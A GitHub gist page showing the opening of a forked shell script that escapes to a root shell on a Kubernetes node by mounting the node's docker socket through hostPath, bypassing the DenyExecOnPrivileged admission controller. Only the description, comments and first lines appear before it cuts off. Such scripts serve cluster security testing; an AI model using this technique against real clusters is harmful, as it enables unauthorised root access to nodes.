Skip to content

Instantly share code, notes, and snippets.

View phanama's full-sized avatar
🇮🇩
Indonesia

Yudi A Phanama phanama

🇮🇩
Indonesia
  • GoTo Financial
  • Indonesia
  • 05:24 (UTC +07:00)
  • LinkedIn in/yphanama
View GitHub Profile
@phanama
phanama / kubectl-root-in-host-nopriv.pks.sh
Created February 22, 2020 15:06 — forked from jjo/kubectl-root-in-host-nopriv.sh
Yeah. Get a root shell at any Kubernetes *node* via `privileged: true` + `nsenter` sauce. PodSecurityPolicy will save us. DenyExecOnPrivileged didn't (kubectl-root-in-host-nopriv.sh exploits it)
#!/bin/sh
# Launch a Pod ab-using a hostPath mount to land on a Kubernetes node cluster as root
# without requiring `privileged: true`, in particular can abuse `DenyExecOnPrivileged`
# admission controller.
# Pod command in turn runs a privileged container using node's /var/run/docker.sock.
#
# Tweaked for PKS nodes, which run their docker stuff from different
# /var/vcap/... paths
node=${1}
case "${node}" in